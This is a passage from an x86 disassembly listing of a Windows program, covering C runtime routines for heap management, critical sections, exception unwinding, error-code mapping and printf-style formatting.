					; sub_407E60:loc_40813Fj ...
		mov	esi, edi


loc_408174:				; CODE XREF: sub_407E60+287j
					; sub_407E60+29Dj
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		lea	eax, [edx+4]
		mov	[ebp+var_8], eax
		mov	edx, esi
		or	edx, 80000000h
		mov	[eax+esi*4-4], edx
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 4


loc_408197:				; CODE XREF: sub_407E60+F4j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407E60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4081A0	proc near		; CODE XREF: sub_406D40+Dp
					; sub_407910+Ap ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00408207 SIZE 00000038 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8BC
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_1C], 0
		mov	eax, dword_4117E0
		cmp	[ebp+arg_0], eax
		jnb	short loc_408207
		push	0
		call	sub_408740
		pop	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_407E60
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4081FE
		jmp	short loc_408207
sub_4081A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4081FE	proc near		; CODE XREF: sub_4081A0+57p
					; DATA XREF: DMN0:0040F8C4o
		push	0
		call	sub_4087C0
		pop	ecx
		retn
sub_4081FE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4081A0


loc_408207:				; CODE XREF: sub_4081A0+35j
					; sub_4081A0+5Cj
		cmp	[ebp+var_1C], 0
		jnz	short loc_40821A
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4085F0
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40821A:				; CODE XREF: sub_4081A0+6Bj
		cmp	[ebp+var_1C], 0
		jnz	short loc_40822B
		call	sub_4083A0
		mov	dword ptr [eax], 0Ch


loc_40822B:				; CODE XREF: sub_4081A0+7Ej
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4081A0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408240	proc near		; CODE XREF: sub_407910+7Bp
					; sub_408D80+80p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 91h
		jz	loc_408312
		jg	short loc_40829D
		cmp	ebx, 50h
		jl	short loc_408264
		cmp	ebx, 59h
		jg	short loc_408275
		jmp	dword ptr aProtorecvDataS+3[ebx*4]
; ---------------------------------------------------------------------------


loc_408264:				; CODE XREF: sub_408240+16j
		cmp	ebx, 1
		jl	short loc_4082E2
		cmp	ebx, 43h
		jg	short loc_4082E2
		jmp	off_40F8EC[ebx*4]
; ---------------------------------------------------------------------------


loc_408275:				; CODE XREF: sub_408240+1Bj
		cmp	ebx, 6Ch
		jl	short loc_4082E2
		cmp	ebx, 72h
		jg	short loc_408286
		jmp	dword ptr a02i02i02iIIIS+6[ebx*4]
; ---------------------------------------------------------------------------


loc_408286:				; CODE XREF: sub_408240+3Dj
		cmp	ebx, 80h
		jl	short loc_4082E2
		cmp	ebx, 84h
		jg	short loc_4082E2
		jmp	dword ptr aWinsock2_xInit+0Eh[ebx*4]
; ---------------------------------------------------------------------------


loc_40829D:				; CODE XREF: sub_408240+11j
		cmp	ebx, 0A4h
		jz	short loc_40831F
		cmp	ebx, 0A7h
		jz	short loc_408312
		jg	short loc_4082C1
		cmp	ebx, 9Eh
		jz	short loc_408312
		cmp	ebx, 0A1h
		jz	short loc_4082F2
		jmp	short loc_4082E2
; ---------------------------------------------------------------------------


loc_4082C1:				; CODE XREF: sub_408240+6Dj
		cmp	ebx, 0B7h
		jl	short loc_4082E2
		cmp	ebx, 0D7h
		jg	short loc_4082D8
		jmp	dword ptr aHandshakeBadPa[ebx*4] ; "Handshake: bad packed (%i)\n"
; ---------------------------------------------------------------------------


loc_4082D8:				; CODE XREF: sub_408240+8Fj
		cmp	ebx, 718h
		jz	short loc_408302
		jmp	short $+2


loc_4082E2:				; CODE XREF: sub_408240+27j
					; sub_408240+2Cj ...
		call	sub_4083A0
		mov	dword ptr [eax], 16h
		jmp	loc_408392
; ---------------------------------------------------------------------------


loc_4082F2:				; CODE XREF: sub_408240+2Ej
					; sub_408240+7Dj ...
		call	sub_4083A0
		mov	dword ptr [eax], 2
		jmp	loc_408392
; ---------------------------------------------------------------------------


loc_408302:				; CODE XREF: sub_408240+2Ej
					; sub_408240+9Ej ...
		call	sub_4083A0
		mov	dword ptr [eax], 0Ch
		jmp	loc_408392
; ---------------------------------------------------------------------------


loc_408312:				; CODE XREF: sub_408240+Bj
					; sub_408240+2Ej ...
		call	sub_4083A0
		mov	dword ptr [eax], 0Dh
		jmp	short loc_408392
; ---------------------------------------------------------------------------


loc_40831F:				; CODE XREF: sub_408240+2Ej
					; sub_408240+63j ...
		call	sub_4083A0
		mov	dword ptr [eax], 0Bh
		jmp	short loc_408392
; ---------------------------------------------------------------------------


loc_40832C:				; CODE XREF: sub_408240+2Ej
					; sub_4491C1+2Ej
					; DATA XREF: ...
		call	sub_4083A0
		mov	dword ptr [eax], 11h
		jmp	short loc_408392
; ---------------------------------------------------------------------------


loc_408339:				; CODE XREF: sub_408240+2Ej
					; sub_4491C1+2Ej
					; DATA XREF: ...
		call	sub_4083A0
		mov	dword ptr [eax], 9
		jmp	short loc_408392
; ---------------------------------------------------------------------------


loc_408346:				; CODE XREF: sub_408240+2Ej
					; sub_4491C1+2Ej
					; DATA XREF: ...
		call	sub_4083A0
		mov	dword ptr [eax], 0Ah
		jmp	short loc_408392
; ---------------------------------------------------------------------------


loc_408353:				; CODE XREF: sub_408240+2Ej
					; sub_4491C1+2Ej
					; DATA XREF: ...
		call	sub_4083A0
		mov	dword ptr [eax], 8
		jmp	short loc_408392
; ---------------------------------------------------------------------------


loc_408360:				; CODE XREF: sub_408240+2Ej
					; sub_4491C1+2Ej
					; DATA XREF: ...
		call	sub_4083A0
		mov	dword ptr [eax], 18h
		jmp	short loc_408392
; ---------------------------------------------------------------------------


loc_40836D:				; CODE XREF: sub_408240+2Ej
					; sub_4491C1+2Ej
					; DATA XREF: ...
		call	sub_4083A0
		mov	dword ptr [eax], 1Ch
		jmp	short loc_408392
; ---------------------------------------------------------------------------


loc_40837A:				; CODE XREF: sub_408240+2Ej
					; sub_4491C1+2Ej
					; DATA XREF: ...
		call	sub_4083A0
		mov	dword ptr [eax], 20h
		jmp	short loc_408392
; ---------------------------------------------------------------------------


loc_408387:				; CODE XREF: sub_408240+2Ej
					; sub_4491C1+2Ej
					; DATA XREF: ...
		call	sub_4083A0
		mov	dword ptr [eax], 12h


loc_408392:				; CODE XREF: sub_408240+ADj
					; sub_408240+BDj ...
		pop	ebx
		retn
sub_408240	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4083A0	proc near		; CODE XREF: sub_406D70+1Bp
					; sub_4081A0+80p ...
		call	sub_409090
		add	eax, 8
		retn
sub_4083A0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083B8	proc near		; DATA XREF: sub_4070F0+Ao
					; sub_407300+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	short loc_40844D
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4083E7:				; CODE XREF: sub_4083B8+8Cj
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40845D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_40843B
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		test	eax, eax
		jz	short loc_40843B
		js	short loc_408446
		mov	edi, [ebx+8]
		push	ebx
		call	sub_408490
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4084E0
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_408589
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_40843B:				; CODE XREF: sub_4083B8+3Cj
					; sub_4083B8+4Ej
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4083E7
; ---------------------------------------------------------------------------


loc_408446:				; CODE XREF: sub_4083B8+50j
		mov	eax, 0
		jmp	short loc_408462
; ---------------------------------------------------------------------------


loc_40844D:				; CODE XREF: sub_4083B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4084E0
		add	esp, 8
		pop	ebp


loc_40845D:				; CODE XREF: sub_4083B8+32j
		mov	eax, 1


loc_408462:				; CODE XREF: sub_4083B8+93j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4083B8	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4084E0
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408490	proc near		; CODE XREF: sub_4083B8+56p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_4084A8
		push	[ebp+arg_0]
		call	sub_40D420	; RtlUnwind


loc_4084A8:				; DATA XREF: sub_408490+Bo
					; sub_449411+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4084B0	proc near		; DATA XREF: sub_4084E0+Ao
					; DMN0:00408559o ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4084D1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4084D1:				; CODE XREF: sub_4084B0+10j
		retn
sub_4084B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4084E0	proc near		; CODE XREF: sub_4083B8+63p
					; sub_4083B8+9Cp ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4084B0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4084FD:				; CODE XREF: sub_4084E0:loc_408538j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40853A
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40853A
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_408538
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_408589
		call	dword ptr [ebx+esi*4+8]


loc_408538:				; CODE XREF: sub_4084E0+44j
		jmp	short loc_4084FD
; ---------------------------------------------------------------------------


loc_40853A:				; CODE XREF: sub_4084E0+2Aj
					; sub_4084E0+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4084E0	endp

; ---------------------------------------------------------------------------
		align 10h
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4084B0
		jnz	short locret_408572
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_408572
		mov	eax, 1

locret_408572:				; CODE XREF: DMN0:00408560j
					; DMN0:0040856Bj
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	ecx
		mov	ebx, offset dword_411200
		jmp	short loc_408593

; =============== S U B	R O U T	I N E =======================================



sub_408589	proc near		; CODE XREF: sub_4083B8+74p
					; sub_4084E0+4Fp
		push	ebx
		push	ecx
		mov	ebx, offset dword_411200
		mov	ecx, [ebp+8]


loc_408593:				; CODE XREF: DMN0:00408587j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_408589	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4085B0	proc near		; CODE XREF: sub_407AA0+36p
		push	0
		push	1000h
		push	0
		call	dword_411DB0	; HeapCreate
		mov	dword_4127F0, eax
		test	eax, eax
		setnz	al
		and	eax, 1
		retn
sub_4085B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DB4	; HeapDestroy
		mov	dword_4127F0, 0
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4085F0	proc near		; CODE XREF: sub_4081A0+71p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DB8	; RtlAllocateHeap
		retn
sub_4085F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DBC	; RtlReAllocateHeap
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408630	proc near		; CODE XREF: sub_4070F0+41p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DC0	; RtlFreeHeap
		retn
sub_408630	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	esi
		mov	eax, [esp+0Ch]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DC4	; RtlSizeHeap
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408672
		xor	esi, esi
		jmp	short loc_408674
; ---------------------------------------------------------------------------


loc_408672:				; CODE XREF: DMN0:0040866Cj
		mov	esi, ebx


loc_408674:				; CODE XREF: DMN0:00408670j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+4]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DC8	; HeapValidate
		test	eax, eax
		setnz	al
		and	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4086A0	proc near		; CODE XREF: sub_408FD0+1p
		mov	eax, off_411210
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		mov	eax, off_411214
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		mov	eax, off_411218
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		mov	eax, off_41121C
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		retn
sub_4086A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4086E0	proc near		; CODE XREF: DMN0:00409030p
		push	ebx
		mov	ebx, 4


loc_4086E6:				; CODE XREF: sub_4086E0+2Aj
		mov	eax, off_411210[ebx*4]
		test	eax, eax
		jz	short loc_408706
		push	eax
		call	dword_411DCC	; RtlDeleteCriticalSection
		mov	eax, off_411210[ebx*4]
		push	eax
		call	sub_4070F0
		pop	ecx


loc_408706:				; CODE XREF: sub_4086E0+Fj
		inc	ebx
		cmp	ebx, 9
		jl	short loc_4086E6
		mov	eax, off_411210
		push	eax
		call	dword_411DCC	; RtlDeleteCriticalSection
		mov	eax, off_411214
		push	eax
		call	dword_411DCC	; RtlDeleteCriticalSection
		mov	eax, off_411218
		push	eax
		call	dword_411DCC	; RtlDeleteCriticalSection
		mov	eax, off_41121C
		push	eax
		call	dword_411DCC	; RtlDeleteCriticalSection
		pop	ebx
		retn
sub_4086E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408740	proc near		; CODE XREF: sub_4070F0+4Bp
					; sub_407300+28p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	off_411210[ebx*4], 0
		jnz	short loc_4087A5
		push	18h
		call	sub_4081A0
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_40876B
		push	1
		call	sub_409190
		pop	ecx


loc_40876B:				; CODE XREF: sub_408740+21j
		push	3
		call	sub_408740
		pop	ecx
		cmp	off_411210[ebx*4], 0
		jnz	short loc_408793
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_411CC8	; InitializeCriticalSection
		mov	eax, [ebp+var_4]
		mov	off_411210[ebx*4], eax
		jmp	short loc_40879D
; ---------------------------------------------------------------------------


loc_408793:				; CODE XREF: sub_408740+3Bj
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4070F0
		pop	ecx


loc_40879D:				; CODE XREF: sub_408740+51j
		push	3
		call	sub_4087C0
		pop	ecx


loc_4087A5:				; CODE XREF: sub_408740+12j
		mov	eax, off_411210[ebx*4]
		push	eax
		call	dword_411CCC	; RtlEnterCriticalSection
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408740	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4087C0	proc near		; CODE XREF: sub_40715A+2p
					; sub_40735B+2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, off_411210[eax*4]
		push	eax
		call	dword_411CD0	; RtlLeaveCriticalSection
		retn
sub_4087C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087E0	proc near		; CODE XREF: sub_4071C0+3Dp
					; sub_407260+27p ...

var_84		= byte ptr -84h
var_50		= dword	ptr -50h
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_6		= byte ptr -6
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	[ebp+var_48], 0
		mov	[ebp+var_44], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_34], eax
		mov	[ebp+var_10], 0


loc_408810:				; CODE XREF: sub_4087E0+A4j
					; sub_4087E0+264j
		mov	[ebp+var_4A], 0
		lea	eax, [ebp+var_48]
		push	eax
		push	7FFFFFFFh
		push	ebx
		lea	eax, [ebp+var_4A]
		push	eax
		call	sub_409950
		add	esp, 10h
		mov	esi, eax
		test	eax, eax
		jg	short loc_40883D
		cmp	byte ptr [ebx],	0
		setnz	al
		and	eax, 1
		mov	esi, eax


loc_40883D:				; CODE XREF: sub_4087E0+50j
		cmp	[ebp+var_4A], 25h
		jnz	short loc_40884C
		lea	eax, [esi-1]
		mov	[ebp+var_50], eax
		jmp	short loc_40884F
; ---------------------------------------------------------------------------


loc_40884C:				; CODE XREF: sub_4087E0+62j
		mov	[ebp+var_50], esi


loc_40884F:				; CODE XREF: sub_4087E0+6Aj
		mov	eax, [ebp+var_50]
		mov	edi, eax
		test	eax, eax
		jle	short loc_408876
		push	edi
		push	ebx
		mov	eax, [ebp+var_34]
		push	eax
		call	[ebp+var_38]
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		test	eax, eax
		jnz	short loc_408873
		or	eax, 0FFFFFFFFh
		jmp	loc_408A4D
; ---------------------------------------------------------------------------


loc_408873:				; CODE XREF: sub_4087E0+89j
		add	[ebp+var_10], edi


loc_408876:				; CODE XREF: sub_4087E0+76j
		add	ebx, esi
		cmp	[ebp+var_4A], 25h
		jz	short loc_40888E
		cmp	[ebp+var_4A], 0
		jnz	short loc_408810
		mov	eax, [ebp+var_10]
		jmp	loc_408A4D
; ---------------------------------------------------------------------------


loc_40888E:				; CODE XREF: sub_4087E0+9Dj
		mov	[ebp+var_18], 0
		mov	[ebp+var_1C], 0
		mov	[ebp+var_20], 0
		mov	[ebp+var_24], 0
		mov	[ebp+var_28], 0
		mov	[ebp+var_2C], 0
		mov	[ebp+var_8], 0
		jmp	short loc_4088D9
; ---------------------------------------------------------------------------


loc_4088C0:				; CODE XREF: sub_4087E0+10Ej
		movzx	eax, [ebp+var_8]
		mov	edx, offset dword_40FAB0
		mov	ecx, esi
		sub	ecx, edx
		or	eax, dword_40FAB8[ecx*4]
		mov	[ebp+var_8], ax
		inc	ebx


loc_4088D9:				; CODE XREF: sub_4087E0+DEj
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset dword_40FAB0
		call	sub_408E80
		add	esp, 8
		mov	esi, eax
		test	eax, eax
		jnz	short loc_4088C0
		cmp	byte ptr [ebx],	2Ah
		jnz	short loc_408918
		mov	eax, [ebp+arg_C]
		add	eax, 4
		mov	[ebp+arg_C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_408915
		mov	eax, [ebp+var_C]
		neg	eax
		mov	[ebp+var_C], eax
		or	[ebp+var_8], 4


loc_408915:				; CODE XREF: sub_4087E0+126j
		inc	ebx
		jmp	short loc_40894E
; ---------------------------------------------------------------------------


loc_408918:				; CODE XREF: sub_4087E0+113j
		mov	[ebp+var_C], 0
		jmp	short loc_40893D
; ---------------------------------------------------------------------------


loc_408921:				; CODE XREF: sub_4087E0+16Cj
		cmp	[ebp+var_C], 7FFFFFFFh
		jge	short loc_40893C
		mov	eax, [ebp+var_C]
		lea	eax, [eax+eax*4]
		add	eax, eax
		movzx	edx, byte ptr [ebx]
		lea	eax, [edx+eax-30h]
		mov	[ebp+var_C], eax


loc_40893C:				; CODE XREF: sub_4087E0+148j
		inc	ebx


loc_40893D:				; CODE XREF: sub_4087E0+13Fj
		movzx	eax, byte ptr [ebx]
		mov	edx, off_411898
		test	word ptr [edx+eax*2], 1
		jnz	short loc_408921


loc_40894E:				; CODE XREF: sub_4087E0+136j
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_408959
		or	[ebp+var_14], 0FFFFFFFFh
		jmp	short loc_4089A9
; ---------------------------------------------------------------------------


loc_408959:				; CODE XREF: sub_4087E0+171j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_408973
		mov	eax, [ebp+arg_C]
		add	eax, 4
		mov	[ebp+arg_C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_14], eax
		inc	ebx
		jmp	short loc_4089A9
; ---------------------------------------------------------------------------


loc_408973:				; CODE XREF: sub_4087E0+17Fj
		mov	[ebp+var_14], 0
		jmp	short loc_408998
; ---------------------------------------------------------------------------


loc_40897C:				; CODE XREF: sub_4087E0+1C7j
		cmp	[ebp+var_14], 7FFFFFFFh
		jge	short loc_408997
		mov	eax, [ebp+var_14]
		lea	eax, [eax+eax*4]
		add	eax, eax
		movzx	edx, byte ptr [ebx]
		lea	eax, [edx+eax-30h]
		mov	[ebp+var_14], eax


loc_408997:				; CODE XREF: sub_4087E0+1A3j
		inc	ebx


loc_408998:				; CODE XREF: sub_4087E0+19Aj
		movzx	eax, byte ptr [ebx]
		mov	edx, off_411898
		test	word ptr [edx+eax*2], 1
		jnz	short loc_40897C


loc_4089A9:				; CODE XREF: sub_4087E0+177j
					; sub_4087E0+191j
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset aHjltzl	; "hjltzL"
		call	sub_408E80
		add	esp, 8
		test	eax, eax
		jz	short loc_4089C6
		mov	eax, ebx
		inc	ebx
		movzx	edi, byte ptr [eax]
		jmp	short loc_4089C8
; ---------------------------------------------------------------------------


loc_4089C6:				; CODE XREF: sub_4087E0+1DCj
		xor	edi, edi


loc_4089C8:				; CODE XREF: sub_4087E0+1E4j
		mov	eax, edi
		mov	[ebp+var_6], al
		cmp	al, 68h
		jnz	short loc_4089DD
		cmp	byte ptr [ebx],	68h
		jnz	short loc_4089DD
		mov	[ebp+var_6], 62h
		inc	ebx
		jmp	short loc_408A0D
; ---------------------------------------------------------------------------


loc_4089DD:				; CODE XREF: sub_4087E0+1EFj
					; sub_4087E0+1F4j
		cmp	[ebp+var_6], 6Ch
		jnz	short loc_4089EF
		cmp	byte ptr [ebx],	6Ch
		jnz	short loc_4089EF
		mov	[ebp+var_6], 71h
		inc	ebx
		jmp	short loc_408A0D
; ---------------------------------------------------------------------------


loc_4089EF:				; CODE XREF: sub_4087E0+201j
					; sub_4087E0+206j
		cmp	[ebp+var_6], 0
		jnz	short loc_408A0D
		cmp	byte ptr [ebx],	49h
		jnz	short loc_408A0D
		cmp	byte ptr [ebx+1], 36h
		jnz	short loc_408A0D
		cmp	byte ptr [ebx+2], 34h
		jnz	short loc_408A0D
		mov	[ebp+var_6], 71h
		add	ebx, 3


loc_408A0D:				; CODE XREF: sub_4087E0+1FBj
					; sub_4087E0+20Dj ...
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, ebx
		inc	ebx
		movzx	eax, byte ptr [eax]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_409C30
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408A4A
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40A370
		add	esp, 8
		test	eax, eax
		jge	loc_408810


loc_408A4A:				; CODE XREF: sub_4087E0+24Dj
		or	eax, 0FFFFFFFFh


loc_408A4D:				; CODE XREF: sub_4087E0+8Ej
					; sub_4087E0+A9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4087E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408A60	proc near		; CODE XREF: sub_407260+6p
		cmp	dword_411234, 0
		jz	short loc_408A6F
		mov	eax, dword_411234
		retn
; ---------------------------------------------------------------------------


loc_408A6F:				; CODE XREF: sub_408A60+7j
		push	0
		push	0
		push	3
		push	0
		push	3
		push	0C0000000h
		push	offset aConout	; "CONOUT$"
		call	dword_411DD0	; CreateFileA
		retn
sub_408A60	endp

; ---------------------------------------------------------------------------
		align 10h
		cmp	dword_411238, 0
		jz	short loc_408A9F
		mov	eax, dword_411238
		retn
; ---------------------------------------------------------------------------


loc_408A9F:				; CODE XREF: DMN0:00408A97j
		push	0
		push	0
		push	3
		push	0
		push	3
		push	0C0000000h
		push	offset aConin	; "CONIN$"
		call	dword_411DD0	; CreateFileA
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408AC0	proc near		; CODE XREF: sub_407300+35p
		push	ebx
		push	esi
		xor	esi, esi
		xor	ebx, ebx


loc_408AC6:				; CODE XREF: sub_408AC0+4Ej
		cmp	off_411370[ebx*4], 0
		jnz	short loc_408AEC
		push	4Ch
		call	sub_4081A0
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_408B10
		mov	off_411370[ebx*4], esi
		mov	word ptr [esi],	80h
		jmp	short loc_408B10
; ---------------------------------------------------------------------------


